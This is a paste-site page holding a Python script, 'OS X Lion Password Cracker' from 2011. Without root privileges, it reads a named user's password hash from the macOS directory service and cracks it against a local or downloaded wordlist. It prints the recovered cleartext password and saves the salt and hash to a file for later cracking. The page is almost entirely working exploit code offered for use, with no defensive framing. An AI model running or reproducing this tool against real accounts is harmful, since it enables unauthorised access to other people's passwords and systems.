OS X Lion Password Cracker


SUBMITTED BY: Guest

DATE: Nov. 2, 2014, 11:38 p.m.

FORMAT: Text only

SIZE: 3.2 kB

HITS: 666

  1. ##########################################
  2. #* OS X Lion 10.7 Password Cracker
  3. #* UID 0 NOT required
  4. #*
  5. #* Usage:
  6. #* python lion_crack.py [username] [dictionary]
  7. #*
  8. #*
  9. #* Patrick Dunstan
  10. #* Sep 18, 2011
  11. #* http://www.defenceindepth.net
  12. #*
  13. ###########################################
  14. from subprocess import *
  15. import hashlib
  16. import os
  17. import urllib2
  18. import sys
  19. from string import *
  20. link = "http://nmap.org/svn/nselib/data/passwords.lst" # Online password file
  21. defaultuser = False
  22. username = ""
  23. def check(password): # Hash password and compare
  24. if not password.startswith("#!"): # Ignore comments
  25. guess = hashlib.sha512(salt_hex + password).hexdigest()
  26. print("Trying... " + password)
  27. if guess == hash:
  28. print("Cleartext password for user '"+username+"' is : "+password)
  29. exit(0)
  30. if len(sys.argv) < 2:
  31. print("No username given. Defaulting to current user.")
  32. defaultuser = True
  33. else:
  34. username = sys.argv[1]
  35. p = Popen("whoami", shell=True, stdout=PIPE)
  36. whoami = p.communicate()[0]
  37. if defaultuser:
  38. username = whoami.rstrip()
  39. p = Popen("dscl localhost -read /Search/Users/" + username, shell=True, stdout=PIPE)
  40. dscl_out = p.communicate()[0]
  41. list = dscl_out.split("\n")
  42. for pos,item in enumerate(list): # extract digest
  43. if "dsAttrTypeNative:ShadowHashData" in item:
  44. digest = list[pos+1].replace(" ", "")
  45. if len(digest) == 262: # Out of box configuration
  46. salt = digest[56:64]
  47. hash = digest[64:192]
  48. elif len(digest) == 314: # SMB turned on
  49. print("SMB is on")
  50. salt = digest[104:112]
  51. hash = digest[112:240]
  52. elif len(digest) == 1436: # Lion Server
  53. salt = digest[176:184]
  54. hash = digest[176:304]
  55. elif len(digest) == 1492: # Lion Server with SMB
  56. salt = digest[224:232]
  57. hash = digest[232:360]
  58. print("SALT : " + salt)
  59. print("HASH : " + hash)
  60. salt_hex = chr(int(salt[0:2], 16)) + chr(int(salt[2:4], 16)) + chr(int(salt[4:6], 16)) + chr(int(salt[6:8], 16))
  61. if len(sys.argv) == 3: # If dictionary file specified
  62. print("Reading from dictionary file '"+sys.argv[2]+"'.")
  63. check(whoami.rstrip())
  64. passlist = open(sys.argv[2], "r")
  65. password = passlist.readline()
  66. while password:
  67. check(password.rstrip())
  68. password = passlist.readline()
  69. passlist.close()
  70. else: # No dictionary file specified
  71. print("No dictionary file specified. Defaulting to hard coded link.")
  72. passlist = urllib2.urlopen(link) # Download dictionary file
  73. passwords = passlist.read().split("\n")
  74. print("\nPassword list successfully read")
  75. passwords.append(whoami.rstrip())
  76. print("\nCracking...")
  77. for password in passwords:
  78. check(password)
  79. # Save hash for later
  80. print("\nSaving hash to "+username+".hash...")
  81. out = open(username+".hash", "w")
  82. out.write(salt+hash)
  83. out.close()
  84. print("\nPassword not found. Try another dictionary.\n")

comments powered by Disqus